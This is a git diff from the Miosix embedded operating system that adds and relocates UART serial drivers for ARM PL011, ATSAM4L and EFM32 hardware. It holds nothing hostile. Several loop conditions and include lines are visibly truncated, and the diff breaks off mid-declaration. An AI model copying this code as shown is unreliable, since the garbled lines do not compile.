a/miosix/arch/drivers/serial/arm_pl011_serial.cpp b/miosix/arch/drivers/serial/arm_pl011_serial.cpp new file mode 100644 index 000000000..5fe5f1e79 --- /dev/null +++ b/miosix/arch/drivers/serial/arm_pl011_serial.cpp @@ -0,0 +1,190 @@ +/*************************************************************************** + * Copyright (C) 2024,2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include "miosix_settings.h" +#include "kernel/lock.h" +#include "filesystem/ioctl.h" +#include "arm_pl011_serial.h" + +namespace miosix { + +void PL011Serial::initialize(GlobalIrqLock& lock, unsigned int baudrate, bool rts, bool cts) noexcept +{ + IRQregisterIrq(lock,irqn,&PL011Serial::IRQhandleInterrupt,this); + // Interrupt configuration + uart->IFLS = Regs::IFLS_RXIFLSEL().put(2) | Regs::IFLS_TXIFLSEL().put(2); + enableAllInterrupts(); + // Setup baud rate + int rate = 16 * baudrate; + int div = peripheralClock / rate; + int frac = ((rate * 128) / (peripheralClock % rate) + 1) / 2; + uart->IBRD = div; + uart->FBRD = frac; + // Line configuration and UART enable + uart->LCR_H = Regs::LCR_H_WLEN().put(3) | Regs::LCR_H_FEN().mask(); + uart->CR = Regs::CR_UARTEN().mask() + | Regs::CR_TXE().mask() + | Regs::CR_RXE().mask() + | Regs::CR_RTSEN().put(!!rts) + | Regs::CR_CTSEN().put(!!cts); +} + +ssize_t PL011Serial::readBlock(void *buffer, size_t size, off_t where) +{ + if(size == 0) return 0; + Lock lock(rxMutex); + auto bytes = reinterpret_cast(buffer); + size_t i = 0; + // Block until we can read the first byte + rxQueue.get(bytes[i++]); + // Get bytes as long as there are bytes in the software queue or the + // hardware FIFO. + // As the interrupt handler never empties the FIFO unless the line is idle, + // this also tells us if the line is idle and we should stop. + while(iFR) || !rxQueue.isEmpty())) + { + rxQueue.get(bytes[i++]); + // Ensure the read interrupts can be serviced to read the next byte. + // The interrupt routine disables them on sw queue full. + if(rxQueue.free()>=32) enableAllInterrupts(); + } + return i; +} + +ssize_t PL011Serial::writeBlock(const void *buffer, size_t size, off_t where) +{ + if(size == 0) return 0; + Lock lock(txMutex); + auto bytes = reinterpret_cast(buffer); + size_t i=0; + // Clear the low water semaphore in case it has been left set by a previous + // transfer. Ordinarily the semaphore counter cannot exceed 1 (or 2, see + // later comments), except if somebody is using IRQwrite() a bit too much, + // so we completely reset the semaphore to avoid wasting time on spurious + // wakeups. + txLowWaterFlag.reset(); + // Start by filling the hardware FIFO. + while(iFR)) uart->DR = bytes[i++]; + while(iFR)) + uart->DR = bytes[i++]; + } + return size; +} + +void PL011Serial::IRQwrite(const char *str) +{ + // Write to the data register directly + for(int i=0; str[i] != '\0'; i++) + { + while(Regs::FR_TXFF().get(uart->FR)) ; + uart->DR = str[i]; + } + // Flush + while(!Regs::FR_TXFE().get(uart->FR)) ; + // We might be tempted to clear the TX interrupt status, but we shouldn't + // do this as there might be another thread writing to the UART which needs + // that interrupt to be signalled anyway. +} + +int PL011Serial::ioctl(int cmd, void *arg) +{ + if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned + termios *t=reinterpret_cast(arg); + switch(cmd) + { + case IOCTL_SYNC: + while(!Regs::FR_TXFE().get(uart->FR)) ; + return 0; + case IOCTL_TCGETATTR: + t->c_iflag=IGNBRK | IGNPAR; + t->c_oflag=0; + t->c_cflag=CS8; + t->c_lflag=0; + return 0; + case IOCTL_TCSETATTR_NOW: + case IOCTL_TCSETATTR_DRAIN: + case IOCTL_TCSETATTR_FLUSH: + //Changing things at runtime unsupported, so do nothing, but don't + //return error as console_device.h implements some attribute changes + return 0; + default: + return -ENOTTY; //Means the operation does not apply to this descriptor + } +} + +PL011Serial::~PL011Serial() +{ + GlobalIrqLock lock; + //Disable UART operation + uart->CR = 0; + IRQunregisterIrq(lock,irqn,&PL011Serial::IRQhandleInterrupt,this); +} + +void PL011Serial::IRQhandleInterrupt() noexcept +{ + FastGlobalLockFromIrq dLock; + uint32_t flags = uart->MIS; + if(Regs::INT_TX().get(flags)) + { + // Wake up the thread currently writing and clear interrupt status + txLowWaterFlag.IRQsignal(); + uart->ICR = Regs::INT_TX().mask(); + } + if(Regs::INT_RX().get(flags) || Regs::INT_RT().get(flags)) + { + // Read enough data to clear the interrupt status, + // or until the software-side queue is full + while((uart->MIS & (Regs::INT_RX().mask() | Regs::INT_RT().mask())) + && !rxQueue.isFull()) + rxQueue.IRQput(static_cast(uart->DR)); + // If the sw queue is full, mask RX interrupts temporarily. The + // device read handler will un-mask them when the queue has some + // space again. If there was more data to read and hence the interrupt + // flag was not cleared, un-masking the interrupts causes the immediate + // reentry in this interrupt handler, which allows to finish the work + // without losing the line idle status information (which only exists + // in the interrupt flags). + if(rxQueue.isFull()) disableRXInterrupts(); + } +} + +} // namespace miosix diff --git a/miosix/arch/drivers/serial/arm_pl011_serial.h b/miosix/arch/drivers/serial/arm_pl011_serial.h new file mode 100644 index 000000000..a7a5a1895 --- /dev/null +++ b/miosix/arch/drivers/serial/arm_pl011_serial.h @@ -0,0 +1,248 @@ +/*************************************************************************** + * Copyright (C) 2024,2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "filesystem/console/console_device.h" +#include "kernel/sync.h" +#include "kernel/queue.h" + +namespace miosix { + +/** + * Vendor-independent driver for the ARM PL011 serial hardware. + */ +class PL011Serial : public Device +{ +public: + /** + * Constructor, initializes the serial port. + * Calls errorHandler(Error::UNEXPECTED) if the port is already being used by + * another instance of this driver. + * \param base Base address of the memory mapped register bank of the + * peripheral. + * \param irqn The IRQ number for the peripheral. + * \param clk The clock of the peripheral in Hz. Use to compute bit rate. + * \param rxQueueLen The length of the receive queue. Should be sufficient + * for storing 1ms of uninterrupted data. Suggested value is + * 32+baudrate/500. + * + * \note Since this peripheral class is vendor-independent, it cannot + * take the peripheral out of reset or configure the GPIOs. This must be + * done in a vendor-dependent way outside of this class. Once this is + * done, you must call the initialize() method before using the peripheral. + */ + PL011Serial(void *base, unsigned int irqn, unsigned int clk, unsigned int rxQueueLen) noexcept + : Device(Device::TTY), uart(reinterpret_cast(base)), irqn(irqn), + peripheralClock(clk), txLowWaterFlag(1), rxQueue(rxQueueLen) { } + + /** + * Initialize the hardware. + * \param baudrate serial port baudrate + * \param rts true if hardware flow control for reception (Request To + * Send input) should be enabled + * \param cts true if hardware flow control for transmission (Clear to Send + * output) should be enabled + */ + void initialize(GlobalIrqLock& lock, unsigned int baudrate, bool rts, bool cts) noexcept; + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure. Note that + * it is normal for this function to return less character than the amount + * asked + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg); + + /** + * Destructor + */ + ~PL011Serial(); + +private: + /// \private Hardware register definition + /// Not using the arch_registers definitions because they might change from + /// vendor to vendor. + struct Regs + { + struct Field + { + Field(unsigned char lsb, unsigned char msb) : lsb(lsb), msb(msb) {} + unsigned int mask() { return ((1<<(1+msb-lsb))-1) << lsb; } + unsigned int get(unsigned int v) { return (v & mask()) >> lsb; } + unsigned int put(unsigned int v, unsigned int old=0) + { + return (old & ~mask()) | ((v << lsb) & mask()); + } + const unsigned char lsb, msb; + }; + + volatile unsigned int DR; + static inline Field DR_DATA() { return Field(0,7); } + static inline Field DR_FE() { return Field(8,8); } + static inline Field DR_PE() { return Field(9,9); } + static inline Field DR_BE() { return Field(10,10); } + static inline Field DR_OE() { return Field(11,11); } + + union + { + volatile unsigned int RSR; + volatile unsigned int ECR; + }; + static inline Field RSR_FE() { return Field(0,0); } + static inline Field RSR_PE() { return Field(1,1); } + static inline Field RSR_BE() { return Field(2,2); } + static inline Field RSR_OE() { return Field(3,3); } + + unsigned int _reserved0[4]; + volatile unsigned int FR; + static inline Field FR_CTS() { return Field(0,0); } + static inline Field FR_DSR() { return Field(1,1); } + static inline Field FR_DCD() { return Field(2,2); } + static inline Field FR_BUSY() { return Field(3,3); } + static inline Field FR_RXFE() { return Field(4,4); } + static inline Field FR_TXFF() { return Field(5,5); } + static inline Field FR_RXFF() { return Field(6,6); } + static inline Field FR_TXFE() { return Field(7,7); } + static inline Field FR_RI() { return Field(8,8); } + + unsigned int _reserved1; + volatile unsigned int ILPR; + + volatile unsigned int IBRD; + volatile unsigned int FBRD; + volatile unsigned int LCR_H; + static inline Field LCR_H_BRK() { return Field(0,0); } + static inline Field LCR_H_PEN() { return Field(1,1); } + static inline Field LCR_H_EPS() { return Field(2,2); } + static inline Field LCR_H_STP2() { return Field(3,3); } + static inline Field LCR_H_FEN() { return Field(4,4); } + static inline Field LCR_H_WLEN() { return Field(5,6); } + static inline Field LCR_H_SPS() { return Field(7,7); } + + volatile unsigned int CR; + static inline Field CR_UARTEN() { return Field(0,0); } + static inline Field CR_SIREN() { return Field(1,1); } + static inline Field CR_SIRLP() { return Field(2,2); } + static inline Field CR_LBE() { return Field(7,7); } + static inline Field CR_TXE() { return Field(8,8); } + static inline Field CR_RXE() { return Field(9,9); } + static inline Field CR_DTR() { return Field(10,10); } + static inline Field CR_RTS() { return Field(11,11); } + static inline Field CR_OUT1() { return Field(12,12); } + static inline Field CR_OUT2() { return Field(13,13); } + static inline Field CR_RTSEN() { return Field(14,14); } + static inline Field CR_CTSEN() { return Field(15,15); } + + volatile unsigned int IFLS; + static inline Field IFLS_TXIFLSEL() { return Field(0,2); } + static inline Field IFLS_RXIFLSEL() { return Field(3,5); } + + volatile unsigned int IMSC; + volatile unsigned int RIS; + volatile unsigned int MIS; + volatile unsigned int ICR; + static inline Field INT_RI() { return Field(0,0); } + static inline Field INT_CTS() { return Field(1,1); } + static inline Field INT_DCD() { return Field(2,2); } + static inline Field INT_DSR() { return Field(3,3); } + static inline Field INT_RX() { return Field(4,4); } + static inline Field INT_TX() { return Field(5,5); } + static inline Field INT_RT() { return Field(6,6); } + static inline Field INT_FE() { return Field(7,7); } + static inline Field INT_PE() { return Field(8,8); } + static inline Field INT_BE() { return Field(9,9); } + static inline Field INT_OE() { return Field(10,10); } + + volatile unsigned int DMACR; + static inline Field INT_RXDMAE() { return Field(0,0); } + static inline Field INT_TXDMAE() { return Field(1,1); } + static inline Field INT_DMAONERR() { return Field(2,2); } + }; + + /** + * \internal the serial port interrupts call this member function. + * Never call this from user code. + */ + void IRQhandleInterrupt() noexcept; + + // Internal function to disable RX interrupts when the buffer is full + inline void disableRXInterrupts() noexcept + { + uart->IMSC = Regs::INT_TX().mask(); + } + + // Internal function to enable RX and TX interrupts for normal operation + inline void enableAllInterrupts() noexcept + { + uart->IMSC = Regs::INT_RT().mask() + | Regs::INT_RX().mask() + | Regs::INT_TX().mask(); + } + + Regs *uart; ///< Pointer to the hardware registers + const unsigned int irqn; ///< Interrupt number + const unsigned int peripheralClock; + KernelMutex txMutex; ///< Mutex locked during transmission + KernelMutex rxMutex; ///< Mutex locked during reception + /// Semaphore flagged when the hardware TX FIFO is ready to receive bytes + Semaphore txLowWaterFlag; + /// Software queue used for buffering bytes from the hardware RX FIFO + DynQueue rxQueue; +}; + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/atsam4l_serial.cpp b/miosix/arch/drivers/serial/atsam4l_serial.cpp new file mode 100644 index 000000000..a8fb26b23 --- /dev/null +++ b/miosix/arch/drivers/serial/atsam4l_serial.cpp @@ -0,0 +1,204 @@ +/*************************************************************************** + * Copyright (C) 2020 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include +#include +#include "atsam4l_serial.h" +#include "kernel/sync.h" +#include "filesystem/ioctl.h" +#include "interfaces/interrupts.h" + +using namespace std; +using namespace miosix; + +namespace miosix { + +// +// class ATSAMSerial +// + +// A note on the baudrate/500: the buffer is selected so as to withstand +// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. +// So (baudrate/10)*0.02=baudrate/500 +ATSAMSerial::ATSAMSerial(int id, int baudrate) + : Device(Device::TTY), rxQueue(rxQueueMin+baudrate/500), rxWaiting(0), + idle(true), portId(id) +{ + if(id!=2) errorHandler(Error::UNEXPECTED); + + { + GlobalIrqLock dLock; + + port=USART2; + + //TODO: USART2 hardcoded + PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) | PM_UNLOCK_ADDR(PM_PBAMASK_OFFSET); + PM->PM_PBAMASK |= PM_PBAMASK_USART2; + IRQregisterIrq(dLock,USART2_IRQn,&ATSAMSerial::IRQhandleInterrupt,this); + } + + unsigned int div=(SystemCoreClock+baudrate/2)/baudrate; + port->US_BRGR = div>>3 | (div & 0x7)<<16; + port->US_MR = US_MR_FILTER // Filter input with majority of 3 samples + | US_MR_OVER // 8 cycles oversample + | US_MR_PAR_NONE // No parity + | US_MR_CHRL_8 // 8 bit char + | US_MR_USCLKS_MCK // CLK_USART is clock source + | US_MR_MODE_NORMAL;// Just a plain usart, please + + port->US_RTOR=10; //Timeout 10 bits (one char time) + port->US_IER = US_IER_RXRDY | US_IER_TIMEOUT; + + port->US_CR = US_CR_TXEN | US_CR_RXEN; +} + +ssize_t ATSAMSerial::readBlock(void *buffer, size_t size, off_t where) +{ + Lock l(rxMutex); + char *buf=reinterpret_cast(buffer); + size_t result=0; + FastGlobalIrqLock dLock; + DeepSleepLock dpLock; + for(;;) + { + //Try to get data from the queue + for(;result0) break; + if(result==size) break; + //Wait for data in the queue + rxWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(rxWaiting); + } + return result; +} + +ssize_t ATSAMSerial::writeBlock(const void *buffer, size_t size, off_t where) +{ + Lock l(txMutex); + const char *buf=reinterpret_cast(buffer); + for(size_t i=0;iUS_CSR & US_CSR_TXRDY) == 0) ; + port->US_THR =*buf++; + } + return size; +} + +void ATSAMSerial::IRQwrite(const char *str) +{ + while(*str) + { + while((port->US_CSR & US_CSR_TXRDY) == 0) ; + port->US_THR = *str++; + } + waitSerialTxFifoEmpty(); +} + +int ATSAMSerial::ioctl(int cmd, void *arg) +{ + if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned + termios *t=reinterpret_cast(arg); + switch(cmd) + { + case IOCTL_SYNC: + waitSerialTxFifoEmpty(); + return 0; + case IOCTL_TCGETATTR: + t->c_iflag=IGNBRK | IGNPAR; + t->c_oflag=0; + t->c_cflag=CS8; + t->c_lflag=0; + return 0; + case IOCTL_TCSETATTR_NOW: + case IOCTL_TCSETATTR_DRAIN: + case IOCTL_TCSETATTR_FLUSH: + //Changing things at runtime unsupported, so do nothing, but don't + //return error as console_device.h implements some attribute changes + return 0; + default: + return -ENOTTY; //Means the operation does not apply to this descriptor + } +} + +void ATSAMSerial::IRQhandleInterrupt() +{ + bool wake=false; + unsigned int status=port->US_CSR; + + if(status & US_CSR_RXRDY) + { + wake=true; + //Always read the char (resets flags), but put it in the queue only if + //no framing error + char c=port->US_RHR; + if((status & US_CSR_FRAME) == 0) + { + if(rxQueue.tryPut(c & 0xff)==false) /*fifo overflow*/; + idle=false; + } + } + if(status & US_CSR_TIMEOUT) + { + wake=true; + port->US_CR=US_CR_STTTO; + idle=true; + } + + if(wake && rxWaiting) + { + rxWaiting->IRQwakeup(); + rxWaiting=nullptr; + } +} + +ATSAMSerial::~ATSAMSerial() +{ + waitSerialTxFifoEmpty(); + + port->US_CR = US_CR_TXDIS | US_CR_RXDIS; + port->US_IDR = US_IDR_RXRDY | US_IDR_TIMEOUT; + + GlobalIrqLock dLock; + //TODO: USART2 hardcoded + IRQunregisterIrq(dLock,USART2_IRQn,&ATSAMSerial::IRQhandleInterrupt,this); + PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) | PM_UNLOCK_ADDR(PM_PBAMASK_OFFSET); + PM->PM_PBAMASK &= ~PM_PBAMASK_USART2; +} + +void ATSAMSerial::waitSerialTxFifoEmpty() +{ + while((port->US_CSR & US_CSR_TXEMPTY) == 0) ; +} + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/atsam4l_serial.h b/miosix/arch/drivers/serial/atsam4l_serial.h new file mode 100644 index 000000000..573861069 --- /dev/null +++ b/miosix/arch/drivers/serial/atsam4l_serial.h @@ -0,0 +1,133 @@ +/*************************************************************************** + * Copyright (C) 2020 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "filesystem/console/console_device.h" +#include "kernel/sync.h" +#include "kernel/queue.h" + +namespace miosix { + +/** + * Serial port class for ATSAM4L microcontrollers. + * + * This is a simple implementation with the following limitations: + * -only supports USART2 + * -no DMA, TX uses polling, while RX is interrupt-based + * + * Classes of this type are reference counted, must be allocated on the heap + * and managed through intrusive_ref_ptr + */ +class ATSAMSerial : public Device +{ +public: + /** + * Constructor, initializes the serial port. + * Calls errorHandler(Erro::UNEXPECTED) if id is not in the correct range, or when + * attempting to construct multiple objects with the same id. That is, + * it is possible to instantiate only one instance of this class for each + * hardware USART. + * \param id a number to select the USART + * \param baudrate serial port baudrate + */ + ATSAMSerial(int id, int baudrate); + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure. Note that + * it is normal for this function to return less character than the amount + * asked + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg); + + /** + * \internal the serial port interrupts call this member function. + * Never call this from user code. + */ + void IRQhandleInterrupt(); + + /** + * \return port id, 0 for USART0, ... + */ + int getId() const { return portId; } + + /** + * Destructor + */ + ~ATSAMSerial(); + +private: + /** + * Wait until all characters have been written to the serial port + */ + void waitSerialTxFifoEmpty(); + + KernelMutex txMutex; ///< Mutex locked during transmission + KernelMutex rxMutex; ///< Mutex locked during reception + + DynUnsyncQueue rxQueue; ///< Receiving queue + static const unsigned int rxQueueMin=1; ///< Minimum queue size + Thread *rxWaiting; ///< Thread waiting for rx, or 0 + bool idle; ///< Receiver idle + + Usart *port; ///< Pointer to USART peripheral + + const unsigned char portId; ///< 0 for USART0, ... +}; + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/efm32_serial.cpp b/miosix/arch/drivers/serial/efm32_serial.cpp new file mode 100644 index 000000000..01aca7f8f --- /dev/null +++ b/miosix/arch/drivers/serial/efm32_serial.cpp @@ -0,0 +1,220 @@ +/*************************************************************************** + * Copyright (C) 2015-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include +#include "efm32_serial.h" +#include "kernel/sync.h" +#include "interfaces/interrupts.h" +#include "filesystem/ioctl.h" + +namespace miosix { + +// +// class EFM32Serial +// + +// A note on the baudrate/500: the buffer is selected so as to withstand +// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. +// So (baudrate/10)*0.02=baudrate/500 +EFM32Serial::EFM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx) + : Device(Device::TTY), rxQueue(rxQueueMin+baudrate/500), rxWaiting(0), + baudrate(baudrate) +{ + { + GlobalIrqLock dLock; + tx.mode(Mode::OUTPUT_HIGH); + rx.mode(Mode::INPUT_PULL_UP_FILTER); + switch(id) + { + case 0: + port=USART0; + irqn=USART0_RX_IRQn; + CMU->HFPERCLKEN0|=CMU_HFPERCLKEN0_USART0; + port->IRCTRL=0; //USART0 also has IrDA mode + break; + case 1: + port=USART1; + irqn=USART1_RX_IRQn; + CMU->HFPERCLKEN0|=CMU_HFPERCLKEN0_USART1; + break; + default: + errorHandler(Error::UNEXPECTED); + } + IRQregisterIrq(dLock,irqn,&EFM32Serial::IRQinterruptHandler,this); + } + + port->IEN=USART_IEN_RXDATAV; + port->CTRL=USART_CTRL_TXBIL_HALFFULL; //Use the buffer more efficiently + port->FRAME=USART_FRAME_STOPBITS_ONE + | USART_FRAME_PARITY_NONE + | USART_FRAME_DATABITS_EIGHT; + port->TRIGCTRL=0; + #ifdef _CHIP_EFM32GG + port->INPUT=0; + port->I2SCTRL=0; + #endif //_CHIP_EFM32GG + port->ROUTE=USART_ROUTE_LOCATION_LOC0 //Default location, hardcoded for now! + | USART_ROUTE_TXPEN //Enable TX pin + | USART_ROUTE_RXPEN; //Enable RX pin + //The number we need is periphClock/baudrate/16-1, but with two bits of + //fractional part. We divide by 2 instead of 16 to have 3 bit of fractional + //part. We use the additional fractional bit to add one to round towards + //the nearest. This gets us a little more precision. Then we subtract 8 + //which is one with three fractional bits. Then we shift to fit the integer + //part in bits 20:8 and the fractional part in bits 7:6, masking away the + //third fractional bit. Easy, isn't it? Not quite. + port->CLKDIV=((((peripheralFrequency/baudrate/2)+1)-8)<<5) & 0x1fffc0; + port->CMD=USART_CMD_CLEARRX + | USART_CMD_CLEARTX + | USART_CMD_TXTRIDIS + | USART_CMD_RXBLOCKDIS + | USART_CMD_MASTEREN + | USART_CMD_TXEN + | USART_CMD_RXEN; +} + +ssize_t EFM32Serial::readBlock(void *buffer, size_t size, off_t where) +{ + Lock l(rxMutex); + char *buf=reinterpret_cast(buffer); + size_t result=0; + FastGlobalIrqLock dLock; + for(;;) + { + //Try to get data from the queue + for(;result0) break; + //Wait for data in the queue + rxWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(rxWaiting); + } + return result; +} + +ssize_t EFM32Serial::writeBlock(const void *buffer, size_t size, off_t where) +{ + Lock l(txMutex); + const char *buf=reinterpret_cast(buffer); + for(size_t i=0;iSTATUS & USART_STATUS_TXBL)==0) ; + port->TXDATA=*buf++; + } + return size; +} + +void EFM32Serial::IRQwrite(const char *str) +{ + while(*str) + { + while((port->STATUS & USART_STATUS_TXBL)==0) ; + port->TXDATA=*str++; + } + waitSerialTxFifoEmpty(); +} + +int EFM32Serial::ioctl(int cmd, void* arg) +{ + if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned + termios *t=reinterpret_cast(arg); + switch(cmd) + { + case IOCTL_SYNC: + waitSerialTxFifoEmpty(); + return 0; + case IOCTL_TCGETATTR: + t->c_iflag=IGNBRK | IGNPAR; + t->c_oflag=0; + t->c_cflag=CS8; + t->c_lflag=0; + return 0; + case IOCTL_TCSETATTR_NOW: + case IOCTL_TCSETATTR_DRAIN: + case IOCTL_TCSETATTR_FLUSH: + //Changing things at runtime unsupported, so do nothing, but don't + //return error as console_device.h implements some attribute changes + return 0; + default: + return -ENOTTY; //Means the operation does not apply to this descriptor + } +} + +EFM32Serial::~EFM32Serial() +{ + waitSerialTxFifoEmpty(); + + GlobalIrqLock dLock; + port->CMD=USART_CMD_TXDIS + | USART_CMD_RXDIS; + port->ROUTE=0; + IRQunregisterIrq(dLock,irqn,&EFM32Serial::IRQinterruptHandler,this); + if(port==USART0) CMU->HFPERCLKEN0 &= ~CMU_HFPERCLKEN0_USART0; + else CMU->HFPERCLKEN0 &= ~CMU_HFPERCLKEN0_USART1; +} + +void EFM32Serial::waitSerialTxFifoEmpty() +{ + //The documentation states that the TXC bit goes to one as soon as a + //transmission is complete. However, this bit is initially zero, so if we + //call this function before transmitting, the loop will wait forever. As a + //solution, add a timeout having as value the time needed to send three + //bytes (the current one in the shift register plus the two in the buffer). + //The +1 is to produce rounding on the safe side, the 30 is the time to send + //three char through the port, including start and stop bits. + int timeout=(cpuFrequency/baudrate+1)*30; + while(timeout-->0 && (port->STATUS & USART_STATUS_TXC)==0) ; +} + +void EFM32Serial::IRQinterruptHandler() +{ + bool atLeastOne=false; + while(port->STATUS & USART_STATUS_RXDATAV) + { + unsigned int c=port->RXDATAX; + if((c & (USART_RXDATAX_FERR | USART_RXDATAX_PERR))==0) + { + atLeastOne=true; + if(rxQueue.tryPut(c & 0xff)==false) /*fifo overflow*/; + } + } + if(atLeastOne && rxWaiting) + { + rxWaiting->IRQwakeup(); + rxWaiting=nullptr; + } +} + +} //namespace miosix diff --git a/miosix/arch/common/drivers/efm32_serial.h b/miosix/arch/drivers/serial/efm32_serial.h similarity index 86% rename from miosix/arch/common/drivers/efm32_serial.h rename to miosix/arch/drivers/serial/efm32_serial.h index 339b03201..2e18b22ed 100644 --- a/miosix/arch/common/drivers/efm32_serial.h +++ b/miosix/arch/drivers/serial/efm32_serial.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2015-2023 by Terraneo Federico * + * Copyright (C) 2015-2024 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -28,6 +28,7 @@ #pragma once #include "filesystem/console/console_device.h" +#include "interfaces/gpio.h" #include "kernel/sync.h" #include "kernel/queue.h" @@ -47,14 +48,14 @@ class EFM32Serial : public Device public: /** * Constructor, initializes the serial port. - * Calls errorHandler(UNEXPECTED) if id is not in the correct range, or when + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range, or when * attempting to construct multiple objects with the same id. That is, * it is possible to instantiate only one instance of this class for each * hardware USART. * \param id a number to select the USART * \param baudrate serial port baudrate */ - EFM32Serial(int id, int baudrate); + EFM32Serial(int 